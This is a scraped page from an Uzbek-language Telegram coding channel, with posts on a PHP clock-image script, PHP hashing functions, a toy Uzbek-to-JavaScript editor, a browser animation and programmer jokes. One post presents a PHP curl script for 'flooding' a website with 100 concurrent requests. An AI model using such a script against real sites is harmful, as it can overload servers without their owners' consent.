VIP KODLAR
747 subscribers
140 photos
27 videos
8 files
131 links
👨‍💻 Takliflar boʻlsa: t.me/vip_kodlar?direct
✉️ Murojaat boʻlsa: @AsilbekCoderBot
🤖 Asosiy bot: @VipKodBot

👥 Muhokama boʻlsa: @vip_kodlar_chat
Download Telegram
ICTWEEK 2025 namoyishiga bordim tasurotlarim yaxshi lekin 2023-yildagi tasurotimchalik emas

Men mehmon yani tomoshabin boʻlib bordim lekin bir kun kelib men oʻzimni "start up" loyihamni koʻrsatish uchun boraman
183🔥22
This media is not supported in the widget
VIEW IN TELEGRAM
1532
This media is not supported in your browser
VIEW IN TELEGRAM
🤖Botlar uchun zo'r yangilanish bo'lar ekan bot xabarlarga mos mavzu(topic) yaratadi bu AI chat botlar uchun ancha qulay funksiya

⚡️ Tez orada @BotNews da bu funksiya haqida e'lon qilishadi

©️Manba: @vip_kodlar
Please open Telegram to view this post
VIEW IN TELEGRAM
1332
Bu rasmli soat kodini tarqatamizmi?
114654
VIP KODLAR
Bu rasmli soat kodini tarqatamizmi?
Strelkali soat rasm yaratish kodi ⌨️

<?php 
header("Content-Type: image/png");
date_default_timezone_set('Asia/Tashkent');

$width = 1200;
$height = 800;
$image = imagecreatetruecolor($width, $height);

$black = imagecolorallocate($image, 0, 0, 0);
$white = imagecolorallocate($image, 255, 255, 255);
$red = imagecolorallocate($image, 255, 0, 0);
$blue = imagecolorallocate($image, 173, 216, 230);

imagefill($image, 0, 0, $black);

$cx = $width / 2;
$cy = $height / 2;
$radius = 350;

imagesetthickness($image, 3);

for ($i = 0; $i < 60; $i++) {
$angle = deg2rad($i * 6 - 90);
$x1 = $cx + cos($angle) * ($radius - 10);
$y1 = $cy + sin($angle) * ($radius - 10);
$x2 = $cx + cos($angle) * ($radius - ($i % 5 == 0 ? 35 : 20));
$y2 = $cy + sin($angle) * ($radius - ($i % 5 == 0 ? 35 : 20));
imageline($image, $x1, $y1, $x2, $y2, $white);
}
imagesetthickness($image, 1);

$font = __DIR__ . "/arial.ttf";

for ($i = 1; $i <= 12; $i++) {
$angle = deg2rad($i * 30 - 90);
$x = $cx + cos($angle) * ($radius - 70);
$y = $cy + sin($angle) * ($radius - 70);
if($i == 10){
imagettftext($image, 30, 0, $x-17, $y+15, $white, $font, $i);
}elseif($i == 11){
imagettftext($image, 30, 0, $x-18, $y+15, $white, $font, $i);
}elseif($i == 12){
imagettftext($image, 30, 0, $x-25, $y+15, $white, $font, $i);
}else{
imagettftext($image, 30, 0, $x-15, $y+15, $white, $font, $i);
}
}

$h = date("G");
$m = date("i");
$s = date("s");

$hour_angle = deg2rad(($h % 12) * 30 + $m * 0.5 - 90);
$minute_angle = deg2rad($m * 6 + $s * 0.1 - 90);
$second_angle = deg2rad($s * 6 - 90);

$hour_len = 160;
$hx = $cx + cos($hour_angle) * $hour_len;
$hy = $cy + sin($hour_angle) * $hour_len;
$hourPoly = [
$cx + cos($hour_angle + 0.4) * 15, $cy + sin($hour_angle + 0.4) * 15,
$hx, $hy,
$cx + cos($hour_angle - 0.4) * 15, $cy + sin($hour_angle - 0.4) * 15,
];
imagefilledpolygon($image, $hourPoly, 3, $blue);

$minute_len = 250;
$mx = $cx + cos($minute_angle) * $minute_len;
$my = $cy + sin($minute_angle) * $minute_len;
$minutePoly = [
$cx + cos($minute_angle + 0.2) * 13, $cy + sin($minute_angle + 0.2) * 12,
$mx, $my,
$cx + cos($minute_angle - 0.2) * 13, $cy + sin($minute_angle - 0.2) * 12,
];
imagefilledpolygon($image, $minutePoly, 3, $blue);

$second_len = 300;
$back_len = 60;
$sx = $cx + cos($second_angle) * $second_len;
$sy = $cy + sin($second_angle) * $second_len;
$secondPoly = [
$cx + cos($second_angle + 0.13) * 10, $cy + sin($second_angle + 0.13) * 10,
$sx, $sy,
$cx + cos($second_angle - 0.13) * 10, $cy + sin($second_angle - 0.13) * 10,
];
imagefilledpolygon($image, $secondPoly, 3, $red);

imagesetthickness($image, 3);
$bx = $cx - cos($second_angle) * $back_len;
$by = $cy - sin($second_angle) * $back_len;
imageline($image, $cx, $cy, $bx, $by, $red);

imagefilledellipse($image, $cx, $cy, 20, 20, $red);

imagepng($image);
imagedestroy($image);

🚀Namuna: https://asilbekcoder.uz/@milliy/soat.php
©️Manba: @vip_kodlar
🔧Dasturchi: @AsilbekCoder
Please open Telegram to view this post
VIEW IN TELEGRAM
1643
Saytga flood request yuborish yani ko’proq so’rov yuborish

<?php

echo "start\n";

$urls = array_fill(0, 100, 'https://example.com/'); // 100 so'rov yuborish
$mh = curl_multi_init();
$chs = [];

foreach ($urls as $i => $url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0");
curl_multi_add_handle($mh, $ch);
$chs[$i] = $ch;
}

$running = null;
do {
curl_multi_exec($mh, $running);
curl_multi_select($mh, 1.0);
} while ($running > 0);

foreach ($chs as $ch) {
$http = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$body = curl_multi_getcontent($ch);
echo "HTTP: $http, len: ".strlen($body)."\n";
curl_multi_remove_handle($mh, $ch);
curl_close($ch);
}
curl_multi_close($mh);

echo "end";


©️Manba: @vip_kodlar
🔧Dasturchi: @cysze
Please open Telegram to view this post
VIEW IN TELEGRAM
164421
Shifrlash kodlari yani hash_algos() bilan
print_r(hash_algos());


Natijasi:
Array
(
[0] => md2
[1] => md4
[2] => md5
[3] => sha1
[4] => sha224
[5] => sha256
[6] => sha384
[7] => sha512/224
[8] => sha512/256
[9] => sha512
[10] => sha3-224
[11] => sha3-256
[12] => sha3-384
[13] => sha3-512
[14] => ripemd128
[15] => ripemd160
[16] => ripemd256
[17] => ripemd320
[18] => whirlpool
[19] => tiger128,3
[20] => tiger160,3
[21] => tiger192,3
[22] => tiger128,4
[23] => tiger160,4
[24] => tiger192,4
[25] => snefru
[26] => snefru256
[27] => gost
[28] => gost-crypto
[29] => adler32
[30] => crc32
[31] => crc32b
[32] => fnv132
[33] => fnv1a32
[34] => fnv164
[35] => fnv1a64
[36] => joaat
[37] => haval128,3
[38] => haval160,3
[39] => haval192,3
[40] => haval224,3
[41] => haval256,3
[42] => haval128,4
[43] => haval160,4
[44] => haval192,4
[45] => haval224,4
[46] => haval256,4
[47] => haval128,5
[48] => haval160,5
[49] => haval192,5
[50] => haval224,5
[51] => haval256,5
)


Ishlatish uchun
echo hash('fnv132',"salom"); // natija: 98bd771f

yani tepada chiqgan natijadan kerakli shifrlash kodini va kodlash uchun text ni olib hash() da ishlatish

eng qisqa shifrlash kodini buni ishlatin ko'rishingiz mumkin
$hash = hash_algos();
$text = "salom";

foreach($hash as $res){
echo "$res - ".hash($res, $text)."\n";
}


©️Manba: @vip_kodlar
🔧Dasturchi: @cysze
Please open Telegram to view this post
VIEW IN TELEGRAM
15541
Forwarded from MohirDev.uz
🇺🇿 AyTi oʻzbek tilida gapiradi

Texnologiyalar olamida koʻp atamalar chet tilida. Biz esa kurslar yaratish davomida oʻzbekcha AyTi lugʻatini ham shakllantirib kelmoqdamiz.

Endi shu lugʻatdan siz ham foydalanishingiz mumkin. Lugʻatni mutaxassislar yordamida muntazam boyitib boramiz.

Oʻzbek tili bayramimiz muborak boʻlsin!


⛓️ Havola: AyTi atamalar lugʻati

@mohirdev
Please open Telegram to view this post
VIEW IN TELEGRAM
110553
MohirDev.uz
🇺🇿 AyTi oʻzbek tilida gapiradi Texnologiyalar olamida koʻp atamalar chet tilida. Biz esa kurslar yaratish davomida oʻzbekcha AyTi lugʻatini ham shakllantirib kelmoqdamiz. Endi shu lugʻatdan siz ham foydalanishingiz mumkin. Lugʻatni mutaxassislar yordamida…
🇺🇿 O'zbekcha kod yozamiz 🙂

🆕 Bu o'zbekcha kodni JavaScript kodga o'giradigan vosita halos hechqanday dasturlash tili emas shunchaki uzcode editor sayt👇

🔗 https://asilbekcoder.uz/uzcode

💻 Bemalol kodni tahrirlab sinab koʻrishingiz mumkin

Hozircha faqat:
if → agar
elseif → unda
else → oxiri
function → funksiya
return → qaytar
print → chiqarish
&& → va
|| → yoki
== → =
oʻzgaruvchi yaratish
son=5
matn="Soʻz"

Shular bor

©️Manba: @vip_kodlar
🔧Dasturchi: @AsilbekCoder
Please open Telegram to view this post
VIEW IN TELEGRAM
1765👍3
💻 Kompyuter 🌐brauzeri qidiruv qismiga shuni qo'yib ko'ring 👇

0️⃣ data:text/html,<body%20style=margin:0><canvas%20id=q%20/><script>var%20q=document.getElementById('q'),s=window.screen,w=q.width=s.width,h=q.height=s.height,p=Array(256).join(1).split(''),c=q.getContext('2d'),m=Math;setInterval(function(){c.fillStyle='rgba(0,0,0,0.05)';c.fillRect(0,0,w,h);c.fillStyle='rgba(0,255,0,1)';p=p.map(function(v,i){r=m.random();c.fillText(String.fromCharCode(m.floor(2720+r*33)),i*10,v);v+=10;%20return%20v>768+r*1e4?0:v})},33)</script>

👨‍💻 Natijani commentga yuboring 👨‍💻
Please open Telegram to view this post
VIEW IN TELEGRAM
11194👍2
Forwarded from IT | Ishkal
Dasturchining kun tartibi:
— Ertalab bug topish 😀
— Tushlikda uni tuzatishga urinish 🤩
— Kechqurun yangi bug chiqarish 😂


🫡 @it_ishkal — Har qanday muammoning решаласи
Please open Telegram to view this post
VIEW IN TELEGRAM
111👍972
Tushunmaganlar:
- Kap-kattta bola yumaloqcha yasab o'tiribti

Tushunganlar:
- Vaov Cda pixelized bo'lmagan progress bar
1981
Forwarded from Botir Ziyatov
Yiliga million dollar topish uchun Silikon vodiysiga borish shart emas.
1116